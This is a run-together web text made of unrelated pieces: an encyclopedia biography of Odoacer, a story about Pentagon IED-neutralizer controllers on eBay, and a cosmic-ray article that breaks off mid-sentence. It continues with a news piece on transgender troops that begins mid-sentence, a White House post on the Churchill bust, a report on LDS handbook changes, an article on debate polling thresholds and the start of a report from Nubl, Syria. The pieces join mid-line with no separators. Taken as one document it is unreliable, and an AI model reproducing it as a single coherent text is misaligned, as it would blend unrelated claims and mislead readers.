About this time the foederati, who had been quartered in Italy all of these years, had grown weary of this arrangement. In the words of J. B. Bury, "They desired to have roof-trees and lands of their own, and they petitioned Orestes to reward them for their services, by granting them lands and settling them permanently in Italy".[23] Orestes refused their petition, and they turned to Odoacer to lead their revolt against Orestes. Orestes was killed at Placentia and his brother Paulus outside Ravenna. The Germanic foederati, the Scirians and the Heruli, as well as a large segment of the Italic Roman army, then proclaimed Odoacer rex Italiae ("king of Italy").[23] In 476 Odoacer advanced to Ravenna and captured the city, compelling the young emperor Romulus to abdicate on September 4. According to the Anonymus Valesianus, Odoacer was moved by Romulus's youth and his beauty to not only spare his life but give him a pension of 6,000 solidi and sent him to Campania to live with his relatives.[24]
Odoacer solidus struck in the name of Emperor Zeno, testifying to the formal submission of Odoacer to Zeno.
Following Romulus Augustus's deposition, according to the historian Malchus, upon hearing of the accession of Zeno to the throne, the Senate in Rome sent an embassy to the Eastern Emperor and bestowed upon him the Western imperial insignia. The message was clear: the West no longer required a separate Emperor, for "one monarch sufficed [to rule] the world". In response, Zeno accepted their gifts observing "the Western Romans had received two men from the Eastern Empire and had driven out one and killed the other, Anthemius." The Eastern Emperor conferred upon Odoacer the title of Patrician and granted him legal authority to govern Italy in the name of Rome. Zeno also suggested that Odoacer should receive Nepos back as Emperor in the West "if he truly wished to act with justice."[25] Although he accepted the title of Patrician, Odoacer did not invite Julius Nepos to return to Rome, and the latter remained in Dalmatia until his death. Odoacer was careful to observe form, however, and made a pretence of acting on Nepos's authority, even issuing coins with his image. Following Nepos's murder in 480, Zeno legally abolished the co-emperorship and ruled as sole Emperor.
Bury, however, disagrees that Odoacer's assumption of power marked the fall of the Roman Empire:
It stands out prominently as an important stage in the process of the dismemberment of the Empire. It belongs to the same catalogue of chronological dates which includes A.D. 418, when Honorius settled the Goths in Aquitaine, and A.D. 435, when Valentinian ceded African lands to the Vandals. In A.D. 476 the same principle of disintegration was first applied to Italy. The settlement of Odovacar's East Germans, with Zeno's acquiescence, began the process by which Italian soil was to pass into the hands of Ostrogoths and Lombards, Franks and Normans. And Odovacar's title of king emphasised the significance of the change.[26]
King of Italy [ edit ]
In 476, the barbarian warlord Odoacer founded the Kingdom of Italy as the first King of Italy, initiating a new era over Roman lands. Unlike most of the last emperors, he acted decisively. According to Jordanes, at the beginning of his reign he "slew Count Bracila at Ravenna that he might inspire a fear of himself among the Romans."[27] He took many military actions to strengthen his control over Italy and its neighboring areas. He achieved a solid diplomatic coup by inducing the Vandal king Gaiseric to cede to him Sicily. Noting that "Odovacar seized power in August of 476, Gaiseric died in January 477, and the sea usually became closed to navigation around the beginning of November", F.M. Clover dates this cession to September or October 476.[28] When Julius Nepos was murdered by two of his retainers in his country house near Salona (May 480), Odoacer assumed the duty of pursuing and executing the assassins, and at the same time established his own rule in Dalmatia.[29]
As Bury points out, "It is highly important to observe that Odovacar established his political power with the co-operation of the Roman Senate, and this body seems to have given him their loyal support throughout his reign, so far as our meagre sources permit us to draw inferences." He regularly nominated members of the Senate to the Consulate and other prestigious offices: "Basilius, Decius, Venantius, and Manlius Boethius held the consulship and were either Prefects of Rome or Praetorian Prefects; Symmachus and Sividius were consuls and Prefects of Rome; another senator of old family, Cassiodorus, was appointed a minister of finance."[26] A. H. M. Jones also notes that under Odoacer the Senate acquired "enhanced prestige and influence" in order to counter any desires for restoration of Imperial rule. As the most tangible example of this renewed prestige, for the first time since the mid-3rd century copper coins were issued with the legend S(enatus) C(onsulto). Jones describes these coins as "fine big copper pieces", which were "a great improvement on the miserable little nummi hitherto current", and not only were they copied by the Vandals in Africa, but they formed the basis of the currency reform by Anastasius in the Eastern Empire.[30]
Although Odoacer was an Arian Christian, his relations with the Chalcedonian church hierarchy were remarkably good. As G.M. Cook notes in her introduction to Magnus Felix Ennodius' Life of Saint Epiphanius, he showed great esteem for Bishop Epiphanius: in response to the bishop's petition, Odoacer granted the inhabitants of Liguria a five-year immunity from taxes, and again granted his requests for relief from abuses by the praetorian prefect. "One wonders at [Ennodius'] brevity," observes Cook. "To the thirteen years of Odovacar's mastery of Italy... a period which embraced nearly half the episcopate of Epiphanius—Ennodius devotes but eight sections of the vita (101–107), five of which are taken up with the restoration of the churches." Cook uses Ennodius' brevity as an argumentum ex silentio to prove that Odoacer was very supportive of the Church. "Ennodius was a loyal supporter of Theoderic. Any oppression, therefore, on the part of Odovacar would not be passed over in silence." She concludes that Ennodius' silence "may be construed as an unintentional tribute to the moderation and tolerance of the barbarian king."[31] The biography of Pope Felix III in the Liber Pontificalis openly states that the pontiff's tenure fell during Odoacer's reign without any complaints about the king.[32]
In 487, Odoacer led his army to victory against the Rugians in Noricum, taking their king Feletheus into captivity; when word that Feletheus' son, Fredericus, had returned to his people, Odoacer sent his brother Onoulphus with an army back to Noricum against him. Onoulphus found it necessary to evacuate the remaining Romans and resettled them in Italy.[33] The remaining Rugians fled and took refuge with the Ostrogoths; the abandoned province was settled by the Lombards by 493.[34]
Fall and death [ edit ]
As Odoacer's position improved, Zeno, the Eastern Emperor, increasingly saw him as a rival. According to John of Antioch, Odoacer exchanged messages with Illus, who had been in revolt against Zeno since 484.[35] Thus Zeno sought to destroy Odoacer and promised Theoderic the Great and his Ostrogoths the Italian peninsula if they were to defeat and remove Odoacer. As both Herwig Wolfram and Peter Heather point out, Theoderic had his own reasons to agree to this offer: "Theoderic had enough experience to know (or at least suspect) that Zeno would not, in the long term, tolerate his independent power. When Theoderic rebelled in 485, we are told, he had in mind Zeno's treatment of Armatus. Armatus defected from Basilicus to Zeno in 476, and was made senior imperial general for life. Within a year, Zeno had him assassinated."[36]
In 489, Theoderic led the Ostrogoths across the Julian Alps and into Italy. On 28 August, Odoacer met him at the Isonzo, only to be defeated. He withdrew to Verona, reaching its outskirts on 27 September, where he immediately set up a fortified camp. Theoderic followed him and three days later defeated him again.[37] While Odoacer took refuge in Ravenna, Theoderic continued across Italy to Mediolanum, where the majority of Odoacer's army, including his chief general Tufa, surrendered to the Ostrogothic king.[38] Theoderic had no reason to doubt Tufa's loyalty and dispatched his new general to Ravenna with a band of elite soldiers. Herwig Wolfram observes, "[b]ut Tufa changed sides, the Gothic elite force entrusted to his command was destroyed, and Theoderic suffered his first serious defeat on Italian soil."[39] Theoderic recoiled by seeking safety in Ticinum. Odoacer emerged from Ravenna and started to besiege his rival. While both were fully engaged, the Burgundians seized the opportunity to plunder and devastated Liguria. Many Romans were taken into captivity, and did not regain their freedom until Theoderic ransomed them three years later.[39]
The following summer, the Visigothic king Alaric II demonstrated what Wolfram calls "one of the rare displays of Gothic solidarity" and sent military aid to help his kinsman, forcing Odoacer to raise his siege. Theoderic emerged from Ticinum, and on 11 August 490, the armies of the two kings clashed on the Adda River. Odoacer again was defeated and forced back into Ravenna, where Theoderic besieged him. Ravenna proved to be invulnerable, surrounded by marshes and estuaries and easily supplied by small boats from its hinterlands, as Procopius later pointed out in his History.[40] Further, Tufa remained at large in the strategic valley of the Adige near Trent, and received unexpected reinforcements when dissent amongst Theoderic's ranks led to sizable desertions.[41] That same year, the Vandals took their turn to strike while both sides were fully engaged and invaded Sicily. While Theoderic was engaged with them, his ally Fredericus, king of the Rugians, began to oppress the inhabitants of Pavia, whom the latter's forces had been garrisoned to protect. Once Theoderic intervened in person in late August, 491, his punitive acts drove Fredericus to desert with his followers to Tufa. Eventually the two quarreled and fought a battle which led to both being killed.[42]
By this time, however, Odoacer had to have lost all hope of victory. A large-scale sortie out of Ravenna on the night of 9/10 July 491 ended in failure with the death of his commander-in-chief Livilia along with the best of his Herulian soldiers. On 29 August 492, the Goths were about to assemble enough ships at Rimini to set up an effective blockade of Ravenna. Despite these decisive losses, the war dragged on until 25 February 493 when John, bishop of Ravenna, was able to negotiate a treaty between Theoderic and Odoacer to occupy Ravenna together and share joint rule. After a three-year siege, Theoderic entered the city on 5 March; Odoacer was dead ten days later, slain by Theoderic while they shared a meal.[43] Theoderic had plotted to have a group of his followers kill him while the two kings were feasting together in the imperial palace of Honorius "Ad Laurentum" ("At the Laurel Grove"); when this plan went astray, Theoderic drew his sword and struck him on the collarbone. In response to Odoacer's dying question, "Where is God?" Theoderic cried, "This is what you did to my friends." Theoderic was said to have stood over the body of his dead rival and exclaimed, "There certainly wasn't a bone in this wretched fellow."[44]
According to one account, "That same day, all of Odoacer's army who could be found anywhere were killed by order of Theoderic, as well as all of his family."[45] Odoacer's wife Sunigilda was stoned to death, and his brother Onoulphus was killed by archers while seeking refuge in a church. Theoderic exiled Odoacer's son Thela to Gaul, but when he attempted to return to Italy Theoderic had him killed.[46]
The events around the Battle of Ravenna were used in the Germanic heroic saga of Dietrich von Bern (Theoderic of Verona). The event in which Theoderic kills Odoacer with his own hands is mirrored in the saga in the episode in which Dietrich kills the Dwarf King Laurin.
Document of Odoacer’s donation to Pierius [ edit ]
Odoacer is the first ruler of Italy for whom the original text of any of his legal acts has survived. This is a grant by Odoacer to Pierius of properties in Sicily near Syracuse and on the island of Melita in Dalmatia, worth in total 690 solidi. The grant itself was made on 18 March 488, but this document, which is on papyrus, was written shortly afterwards. The opening section is missing and the text is in two parts, one now in the Biblioteca Nazionale in Naples and the other in the Austrian National Library in Vienna, but the bulk of the act itself and the subscriptions by witnesses and officials survive.[47]
Pierius, comes domesticorum, was given these properties as a reward for his achievements in the war against Theoderic. None of the parties involved in this transaction—not Pierius, Odoacer, nor the witnesses—could foresee that the recipient would die the following year in the battle of the Adda River.[48]
Pierius' grant is the lone surviving document which has survived from the civic scriptorium of Syracuse prior to the Byzantine reconquest.[49] Scipione Maffei made the unconfirmed assertion that both pieces were owned by the poet Giovanni Gioviano Pontano; it had already lost the beginning by then. The second part is known to have been in the possession of Cardinal Pasquale de Aragon during the 1660s, but Tjäder notes the two parts were reunited at the library of the Monastery of San Paolo in Naples in 1702. In 1718, the second part was presented to Emperor Charles VI through whom that fragment found its way to Vienna.
See also [ edit ]
Notes [ edit ]
Sources [ edit ]
Further reading [ edit ]The device controller for sale on eBay eBay In 2005, The $30 million Joint Improvised Explosive Device Neutralizer USMC electronics company Ionatron (ION) finagled a $30 million contract to create a remote-controlled "lightning gun" to discharge IEDs where they sat. The project was a flop and the tens of millions of dollars was written off as one more project that failed to "reach maturity" -- all that is history.
But the amazing story of what happened to those lightning gun parts was just uncovered by Wired.
Inventor Corey Oliver was attempting to create the perfect life sized remote-controlled car to take to this years Burning Man. His quest started with finding a control system without any interference issues, so hit up eBay and bought a pair of $1,000 Omnitech Robotics NGCM1 controllers -- the kind that would normally go for tens of thousands of dollars.
When Oliver saw the buttons labeled "Enable Weapon," "Weapon On" and a red button in the center screaming "STOP!" he knew something was up. Soon the inventor realized he was dealing with Pentagon scraps.
Oliver was also shocked to realize what cheap material the government contractors had used, including various over the counter parts from Best Buy. To top it off, the serial numbers on the household router had even been filed off.
When Omnitech went belly up they dumped all their equipment on Tuscon's Southwest Liquidators, who are now selling it off on eBay. They still have some left, though the price has gone up.On the night of October 15, 1991, the “Oh-My-God” particle streaked across the Utah sky.
A cosmic ray from space, it possessed 320 exa-electron volts (EeV) of energy, millions of times more than particles attain at the Large Hadron Collider, the most powerful accelerator ever built by humans. The particle was going so fast that in a yearlong race with light, it would have lost by mere thousandths of a hair. Its energy equaled that of a bowling ball dropped on a toe. But bowling balls contain as many atoms as there are stars. “Nobody ever thought you could concentrate so much energy into a single particle before,” said David Kieda, an astrophysicist at the University of Utah.
Five or so miles from where it fell, a researcher worked his shift inside an old, rat-infested trailer parked atop a desert mountain. Earlier, at dusk, Mengzhi “Steven” Luo had switched on the computers for the Fly’s Eye detector, an array of dozens of spherical mirrors that dotted the barren ground outside. Each of the mirrors was bolted inside a rotating “can” fashioned from a section of culvert, which faced downward during the day to keep the sun from blowing out its sensors. As darkness fell on a clear and moonless night, Luo rolled the cans up toward the sky.
“It was a pretty crude experiment,” said Kieda, who operated the Fly’s Eye with Luo and several others. “But it worked — that was the thing.”
The faintly glowing contrail of the Oh-My-God particle (as the computer programmer and Autodesk founder John Walker dubbed it in an early Web article) was spotted in the Fly’s Eye data the following summer and reported after the group spent an extra year convincing themselves the signal was real. The particle had broken a cosmic speed limit worked out decades earlier by Kenneth Greisen, Georgiy Zatsepin and Vadim Kuzmin, who argued that any particle energized beyond approximately 60 EeV will interact with background radiation that pervades space, thereby quickly shedding energy and slowing down. This “GZK cutoff” suggested that the Oh-My-God particle must have originated recently and nearby — probably within the local supercluster of galaxies. But an astrophysical accelerator of unimagined size and power would be required to produce such a particle. When scientists looked in the direction from which the particle had come, they could see nothing of the kind.
“It’s like you’ve got a gorilla in your backyard throwing bowling balls at you, but he’s invisible,” Kieda said.
Where had the Oh-My-God particle come from? How could it possibly exist? Did it really? The questions motivated astrophysicists to build bigger, more sophisticated detectors that have since recorded hundreds of thousands more “ultrahigh-energy cosmic rays” with energies above 1 EeV, including a few hundred “trans-GZK” events above the 60 EeV cutoff (though none reaching 320 EeV). In breaking the GZK speed limit, these particles challenged one of the farthest-reaching predictions ever made. It seemed possible that they could offer a window into the laws of physics at otherwise unreachable scales — maybe even connecting particle physics with the evolution of the cosmos as a whole. At the very least, they promised to reveal the workings of extraordinary astrophysical objects that had only ever been twinkles in telescope lenses. But over the years, as the particles swept brushstrokes of light across sensors in every direction, instead of painting a telltale pattern that could be matched to, say, the locations of supermassive black holes or colliding galaxies, they created confusion. “It’s hard to explain the cosmic-ray data with any particular theory,” said Paul Sommers, a semiretired astrophysicist at Pennsylvania State University who specializes in ultrahigh-energy cosmic rays. “There are problems with anything you propose.”
Only recently, with the discovery of a cosmic ray “hotspot” in the sky, the detection of related high-energy cosmic particles, and a better understanding of physics at more familiar energies, have researchers secured the first footholds in the quest to understand ultrahigh-energy cosmic rays. “We’re learning things very rapidly,” said Tim Linden, a theoretical astrophysicist at the University of Chicago.
Ankle Problems
Thousands of cosmic rays bombard each square foot of Earth’s atmosphere every second, and yet they managed to elude discovery until a series of daring hot-air-balloon rides in the early 1910s. As the Austrian physicist Victor Hess ascended miles into the atmosphere, he observed that the amount of ionizing radiation increased with altitude. Hess measured this buzz of electrically charged particles even during a solar eclipse, establishing that much of it came from beyond the sun. He received a Nobel Prize in Physics for his efforts in 1936.
Cosmic rays, as they became known, arc through Earth’s magnetic field from every direction, and with a smooth spread of energies. (At sea level, we experience the low-energy, secondary radiation produced as the cosmic rays crash through the atmosphere.) Most cosmic rays are single protons, the positively charged building blocks of atomic nuclei; most of the rest are heavier nuclei, and a few are electrons. The more energetic a cosmic ray is, the rarer it is. The rarest of all, those that are labeled “ultrahigh-energy” and exceed 1 EeV, strike each square kilometer of the planet only once per century.
Plotting the number of cosmic rays that sprinkle detectors according to their energies produces a downward-sloping line with two bends — the energy spectrum’s “knee” and “ankle.” These seem to mark transitions to different types of cosmic rays or progressively larger and more powerful sources. The question is, which types, and which sources?
Like many experts, Karl-Heinz Kampert, a professor of astrophysics at the University of Wuppertal in Germany and spokesperson for the Pierre Auger Observatory, the world’s largest ultrahigh-energy cosmic ray detector, believes cosmic rays are accelerated by something like the sonic booms from supersonic jets, but on grander scales. Shock acceleration, as it’s called, “is a fundamental process which you find on any scale in the universe,” Kampert said, from solar flares to star explosions (supernovas) to rapidly spinning stars called pulsars to the enormous lobes emanating from mysterious, super-bright galaxies known as active galactic nuclei. All are cases of heated matter (or “plasma”) flowing faster than the speed of sound, producing an expanding shock wave that accumulates a crust of protons and other particles. The particles reflect back and forth across the shock wave, trapped between the magnetic field of the plasma and the vacuum of empty space like little balls ping-ponging between table and paddle. A particle gains energy with every bounce. “Then it will escape,” Kampert said, “and move through the universe and be detected by an experiment.”
Trying to match different shock waves to parts of the cosmic-ray energy spectrum puts astrophysicists on shaky ground, however. They would expect the knee and ankle to mark the highest points to which protons and heavier nuclei (respectively) can be energized in the shock waves of supernovas — the most powerful accelerators in our galaxy. Calculations suggest the protons should max out around 0.001 EeV, and indeed, this aligns with the knee. Heavier nuclei from supernova shock waves are thought to be capable of reaching 0.1 EeV, making this number the expected transition point to more powerful sources of “extragalactic” cosmic rays. These would be shock waves from singular objects that aren’t found in the Milky Way or in most other galaxies, and which could well be galaxy-size themselves. However, the measured ankle of the spectrum — “the only place where it looks like there’s a clear transition,” Sommers said — lies around 5 EeV, an order of magnitude past the theoretical maximum for galactic cosmic rays. No one is sure what to make of the discrepancy.
Past the ankle, at around 60 EeV, the line dips toward zero, forming a sort of toe. This is probably the GZK cutoff, the point beyond which cosmic rays can only tarry for so long before losing energy to ambient cosmic microwaves generated by a phase transition in the early universe. The existence of the cutoff, which Kampert calls “the only firm prediction ever made” about cosmic rays, was established in 2007 by the Fly’s Eye’s successor — the High Resolution Fly’s Eye experiment, or HiRes. From there, the energy spectrum reduces to a trickle of trans-GZK cosmic rays, finally ending, at 320 EeV, with a single data point: the Oh-My-God particle.
The presence of the GZK cutoff means that the laws of physics are operating as expected. Rather than disproving those laws, trans-GZK cosmic rays probably do originate nearby (reaching Earth before ambient microwaves sap their energy). But where, and how? For a maddening 20 years, the particles appeared to come from everywhere and nowhere in particular. But finally a hotspot has developed in the Northern Hemisphere. Could this be the invisible gorilla hurtling bowling balls toward Earth?
Getting Hotter
In Utah, a three-hour drive from the site of the original Fly’s Eye, its latest descendant sprawls across the desert: a 762–square-kilometer grid of detectors called the Telescope Array. The experiment has been tracking the multi-billion-particle “air showers” produced by ultrahigh-energy cosmic rays since 2008. “We’ve been watching the hotspot increase in statistical significance for several years,” said Gordon Thomson, a professor of physics and astronomy at the University of Utah and spokesperson for the Telescope Array.
The hotspot of trans-GZK cosmic rays, which centers on the constellation Ursa Major, was initially too weak to be taken seriously. But in the past year, it has reached an estimated statistical significance of “four sigma,” giving it a 99.994 percent chance of being real. Thomson and his team must reach five-sigma certainty to definitively claim a discovery. (Thomson hopes this will happen in the group’s next data analysis, due out in June.) Already, theorists are treating the hotspot as an anchor for their ideas.
“It’s really exciting,” said Linden. With more data, he explained, the location of the source can be pinpointed within the hotspot (which gets smeared out by the deflection of cosmic rays as they pass through the galaxy’s and Earth’s magnetic fields). By tracking other types of particles coming from the same spot in the sky, “you have a model of how the source works over many orders of magnitude in energy,” he said. The invisible gorilla would materialize.
Meanwhile, some of those other particles are slowly piling up in the sensors of the IceCube detector, a cable-infused, cubic-kilometer block of ice buried beneath the South Pole. For the past four years, IceCube has monitored the rare ice tracks of neutrinos, lightweight elementary particles that usually flit right through matter and thus require immense efforts to detect, but which are produced in abundance from physical processes throughout the universe.
Every so often, cosmic neutrinos interact with atoms and produce radiation as they pass through IceCube; their directions of travel trace a new map of the cosmos that can be compared to the maps of ultrahigh-energy cosmic rays and those of light. In 2013, IceCube scientists reported the observation of the first-ever very-high-energy neutrinos — a pair of 0.001-EeV particles nicknamed “Bert” and “Ernie” that might have come from the same sources that yield ultrahigh-energy cosmic rays. Neutrinos have a big advantage over cosmic rays as messengers from the most powerful objects in the universe: Because they are electrically neutral, they move in straight lines. “Since neutrinos travel to us uninhibited from the source, they might be able to open up a new window on the universe,” said Olga Botner of Uppsala University in Sweden, IceCube’s spokesperson.
Of the 54 high-energy neutrinos that IceCube has detected as of its latest analysis, reported in early May, four originate from the vicinity of the cosmic-ray hotspot. (Neutrinos can enter the detector after traveling through Earth from the northern sky.) This “hint of a correlation,” as Linden described it, could be a clue: Cosmic rays take longer to get to Earth than neutrinos, so a common source would have to have been pumping out energetic particles for many years. Short-lived source candidates such as gamma-ray bursts would be ruled out in favor of stable objects — perhaps a star-forming galaxy with a supermassive black hole at its center. “In the next few years we’re going to get that many more neutrinos, and we’ll see how this correlation plays out,” Linden said. For now, though, the correlation is very weak. “I’m not staking my foot in the ground,” he said.
Alongside cosmic rays and neutrinos, cosmic “gamma rays” (high-energy photons) will serve as a third messenger in the coming years. They’re the subject of several major searches including the HESS (High Energy Stereoscopic System) experiment in Namibia — named in honor of the father of cosmic rays — and VERITAS (Very Energetic Radiation Imaging Telescope Array System) in Arizona, for which Kieda, the former Fly’s Eye scientist, now works. The combination of cosmic-ray, neutrino and gamma-ray data should help locate and sharpen astrophysicists’ picture of the most powerful accelerators in the universe. The search will organize around the hotspot.
Thomson has his money on threads of galaxies and dark matter called “filaments” that are draped throughout the cosmos and which, at hundreds of millions of light-years long, are among the largest structures in existence. There’s a filament in the direction of the hotspot. “It’s probably something in the filament,” Thomson said. In any case, he added, “we have an idea now of interesting places to look. And all we need to do is collect more data.”
Draining the Pool
Kampert, of the Pierre Auger Observatory, is approaching the mystery of ultrahigh-energy cosmic rays from a different direction, by asking: What are they?
Some astrophysicists say the Auger Observatory has been “unlucky.” Covering 3,000 square kilometers of Argentina grasslands, it collects far more data than the Telescope Array, but it does not see a hotspot in the Southern Hemisphere with anywhere near the prominence of the one in the north. It has detected evidence of a slight concentration of trans-GZK cosmic rays in the sky that overlays an active galactic nucleus called Centaurus A as well as another filament. But Kampert says Auger might never collect enough data to prove this so-called “warmspot” is real. Still, the dearth of clues is a mystery in itself.
“It’s a very rich data set and we don’t see anything,” said Sommers, who helped design and organize the Auger Observatory. “That’s absolutely amazing to me. Back in the 1980s I would have bet good money that if we had the statistics we have now, there would be obvious hotspots and patterns. It makes me really wonder.”
Kampert thinks he and his colleagues must simply get smarter about how they look for hotspots, which are surely there; the local region of the universe is not uniformly blanketed by objects capable of accelerating particles to trans-GZK energies. The problem is magnetic deflection, he said. Galactic and extragalactic magnetic fields bend protons five to 10 degrees off-course, and they bend heavier nuclei many times that, depending on the number of protons they contain. Auger’s analysis of its air-shower events (which integrates cutting-edge results from particle collisions at the Large Hadron Collider) suggests that the highest-energy cosmic rays tend to be on the heavy side, consisting of carbon or even |
, a senior Pentagon official must review involuntary discharges for transgender service members. Carter made it clear in a speech for LGBT pride month at the Pentagon that diversity in the ranks is critical to the mission. “Because we need to be a meritocracy,” Carter said. “We have to focus relentlessly on our mission, which means the thing that matters most about a person is what they can contribute to national defense.” But first there are the haircuts and the pronouns. Even though Peace has legally changed her name, her soldiers are under orders to address her as “sir.” When they didn’t do that at first, she said, both she and her soldiers were reprimanded by command.
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“My soldiers were called in and they said, ‘What are you calling Capt. Peace? What were you told to call Capt. Peace?’" she said. “I was called in and my direct supervisor said, "Hey, Capt. Peace. I need you start correcting people's pronouns.’” An Army spokesman said current policy is to treat soldiers for all purposes by the gender they held when they entered the service. Such issues will likely be addressed by a working group formed by Secretary Carter – as will more complex problems, like whether transgender troops will be excluded from any military jobs. These aren’t insurmountable issues, said Aaron Belkin, director of the Palm Center, an independent research institute that focuses on gender, sexuality and the military. Belkin said British, Australian and Canadian forces already have developed inclusive policies for transgender personnel. “In all of those experiences, sure, culture changes a bit because the troops aren't used to serving with openly transgender personnel, but the implementation issues are not difficult to solve,” Belkin said.
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The frustration for transgender troops is the time it’s taking. Be patient, counsels Sue Fulton, a former Army captain who now is president of SPARTA, a nonprofit that supports LGBT military veterans and their families. “There's a widespread recognition that current policies don't work. And a strong intent to set the right policies,” Fulton said. “To make sure they're doing the right thing is going to take time. “ And, noted Fulton, part of the first class of women to graduate from West Point: “Being first is hard.” While Jennifer Peace admits she’s impatient, she’s also hopeful that soon the focus will be on her job performance, not her gender. “I think by this time next year, we’ll be talking about how well the implementation has gone,” she said.Lately, there’s been a rumor swirling around about the current location of the bust of Winston Churchill. Some have claimed that President Obama removed the bust of Winston Churchill from the Oval Office and sent it back to the British Embassy.
Now, normally we wouldn’t address a rumor that’s so patently false, but just this morning the Washington Post’s Charles Krauthammer repeated this ridiculous claim in his column. He said President Obama “started his Presidency by returning to the British Embassy the bust of Winston Churchill that had graced the Oval Office.”
This is 100% false. The bust still in the White House. In the Residence. Outside the Treaty Room.
News outlets have debunked this claim time and again. First, back in 2010 the National Journal reported that “the Churchill bust was relocated to a prominent spot in the residence to make room for Abraham Lincoln, a figure from whom the first African-American occupant of the Oval Office might well draw inspiration in difficult times.” And just in case anyone forgot, just last year the AP reported that President Obama “replaced the Oval Office fixture with a bust of one of his American heroes, President Abraham Lincoln, and moved the Churchill bust to the White House residence.”
In case these news reports are not enough for Mr. Krauthammer and others, here’s a picture of the President showing off the Churchill bust to Prime Minister Cameron when he visited the White House residence in 2010.
President Barack Obama shows Prime Minister David Cameron of the United Kingdom a bust of Sir Winston Churchill in the private residence of the White House, July 20, 2010. (Official White House Photo by Pete Souza)
Hopefully this clears things up a bit and prevents folks from making this ridiculous claim again.
Update:
Since my post on the fact that the bust of Winston Churchill has remained on display in the White House, despite assertions to the contrary, I have received a bunch of questions -- so let me provide some additional info. The White House has had a bust of Winston Churchill since the 1960’s. At the start of the Bush administration Prime Minister Blair lent President Bush a bust that matched the one in the White House, which was being worked on at the time and was later returned to the residence. The version lent by Prime Minister Blair was displayed by President Bush until the end of his Presidency. On January 20, 2009 -- Inauguration Day -- all of the art lent specifically for President Bush’s Oval Office was removed by the curator’s office, as is common practice at the end of every presidency. The original Churchill bust remained on display in the residence. The idea put forward by Charles Krauthammer and others that President Obama returned the Churchill bust or refused to display the bust because of antipathy towards the British is completely false and an urban legend that continues to circulate to this day.The Church of Jesus Christ of Latter-day Saints has made changes to its handbook for stake presidents, bishops and other local leaders that reaffirms its doctrine of marriage and offers clarification on issues that may arise from same-sex marriage.
"Church handbooks are policy and procedural guides for lay leaders who must administer the church in many varied circumstances throughout the world," LDS Church spokesman Eric Hawkins said. "The Church has long been on record as opposing same-sex marriages. While it respects the law of the land, and acknowledges the right of others to think and act differently, it does not perform or accept same-sex marriage within its membership.”
Late Friday, the church released a video where Elder D. Todd Christofferson of the Quorum of the Twelve Apostles explained the changes.
The handbook now includes being in a same-sex marriage under the definition of apostasy and as a circumstance that requires the convening of a disciplinary council. The handbook also clarifies that the ordinance of naming and blessing a child may not be performed for children living with a parent in a same-gender relationship.
The new section of the handbook is listed under the heading "Children of a Parent Living in a Same-Gender Relationship." It states that "a natural or adopted child of a parent living in a same-gender relationship, whether the couple is married or cohabiting, may not receive a name and a blessing."
Although children are not officially considered members of the LDS Church until they are baptized at age 8, the blessing of a child creates a membership record. Children are not considered accountable or mature enough to receive baptism until the age of 8.
The handbook addition also states that "a natural or adopted child of a parent living in a same-gender relationship, whether the couple is married or cohabiting," can only be baptized, confirmed, ordained to the priesthood or serve a full-time mission with approval from the Office of the First Presidency. A mission or stake president may request approval and determine that: "the child accepts and is committed to live the teachings and doctrine of the church, and specifically disavows the practice of same-gender cohabitation and marriage"; and "the child is of legal age and does not live with a parent who has lived or currently lives in a same-gender cohabitation relationship or marriage."
The language of being in a same-gender marriage has been added to the definition of apostasy as it relates to helping leaders know when a church disciplinary council is mandatory.
Twitter: @aaronshillAmid widespread dispute over the usefulness of polling in determining who should be allowed to appear in presidential debates, a survey of top pollsters suggests that some leading professionals in the polling industry believe that their product is not an effective tool for that purpose.
The issue of minimum polling requirements being used as a qualifier for debates is currently causing significant controversy in both major political parties’ primaries, as both of them now use ever-changing polling minimums to narrow down the number of candidates throughout the election cycle, and in the general election, in which the Republican and Democrat controlled Commission on Presidential Debates requires independent candidates to meet a nigh-impossible 15 percent minimum threshold of support in national polls.
Politico conducted a survey of the opinions of top pollsters and found that many of them believe that public opinion polls lack the precision to measure the small-scale changes in support that determine the rankings between candidates.
Rutgers University professor and former president of the American Association for Public Opinion Research said, “Polls are being used to do a job that they’re really not intended for — and they’re not as qualified for as they used to be. It’s like asking a scale that can only tell pounds to measure ounces. They’re just not that finely calibrated. … I think polls can do a good job talking about tiers of candidates in name recognition. That’s all that polls can do. But they can’t tell the difference between Bobby Jindal, who’s not in the [Republican primary] debate, and Chris Christie, who is.”
Pew Research Center associate director Jocelyn Kiley cautioned, “These numbers all have a margin of error around them. We try very hard, as do most of our colleagues in the field, to make clear when there are significant differences and when there aren’t.”
In a packed Republican primary, the differences between the amounts of support obtained by, for example, a fourth place candidate and a sixth place candidate often fall within the survey’s margin of error.
[RELATED: DONEGAN: If GOP Debate Stage Can Fit 11, Let Third Parties In General Election Debates]
Worse still, some otherwise-eligible candidates are not included in nationwide polls in the first place. Presidential Debate News notes that Democratic presidential candidate and Harvard Law School professor Larry Lessig is on pace to be excluded from CNN’s October 13 Democratic presidential debate due to the fact that he has not obtained at least 1 percent support in a specific set of polls that do not include him as a response. Lessig did garner 1 percent support in a September Public Policy Polling survey that is not included in the Democratic National Committee’s list of qualified polls.
Politico’s Steven Shepard pointed out the fact that Senator Rand Paul’s ability to qualify for CNBC’s upcoming October 28 Republican presidential debate hangs in the balance over a statistically-insignificant “0.25 percent — essentially, a matter of two respondents in all the [qualified] polls put together.”
[RELATED: Petition: A Joint Town Hall with Rand Paul and Bernie Sanders]
Marist College Institute for Public Opinion director Lee Miringoff suspended GOP polling in advance of Fox News’ first Republican presidential debate of the season in protest as he objected to excluding candidates on the basis of early polls. “It’s a problem when it’s shaping who gets to sit at the table,” Miringoff told Politico.
The issue is particularly alienating for independent voters, who are forced through taxation to fund the primaries of the Democratic and Republican parties. The top two parties’ nominees automatically qualify for general election presidential debates. However, independent candidates must obtain 15 percent support in nationwide polls to qualify for participation in presidential debates, fifteen times the level of support required for entry-level qualifications for many Democratic and Republican party presidential primary contests. That minimum 15 percent requirement effectively blocks independents, like Green and Libertarian Party candidates who lack the wealth to promote themselves to celebrity status but who sometimes qualify for nationwide ballot access, from appearing in even one presidential debate, preventing them from having an opportunity to share their platforms with voters.
For context, the Truth in Media Project released a Consider This video earlier this year highlighting the fact that independent voters now outnumber Republicans and Democrats. Watch it in the below-embedded video player.Nubl, Syria (CNN) "Thank you Russia! Thank you Hezbollah! Thank you Iran!" shouts the man, as he passes us in the busy square.
Nearby, a photograph of Bashar al-Assad beams down from the front of the town hall, and banners in support of the Syrian President hang outside the main mosque.
This is Nubl, a mostly Shia, pro-government town in Syria, so close to the border with Turkey that on the way here our phones constantly switched to Turkish mobile networks.
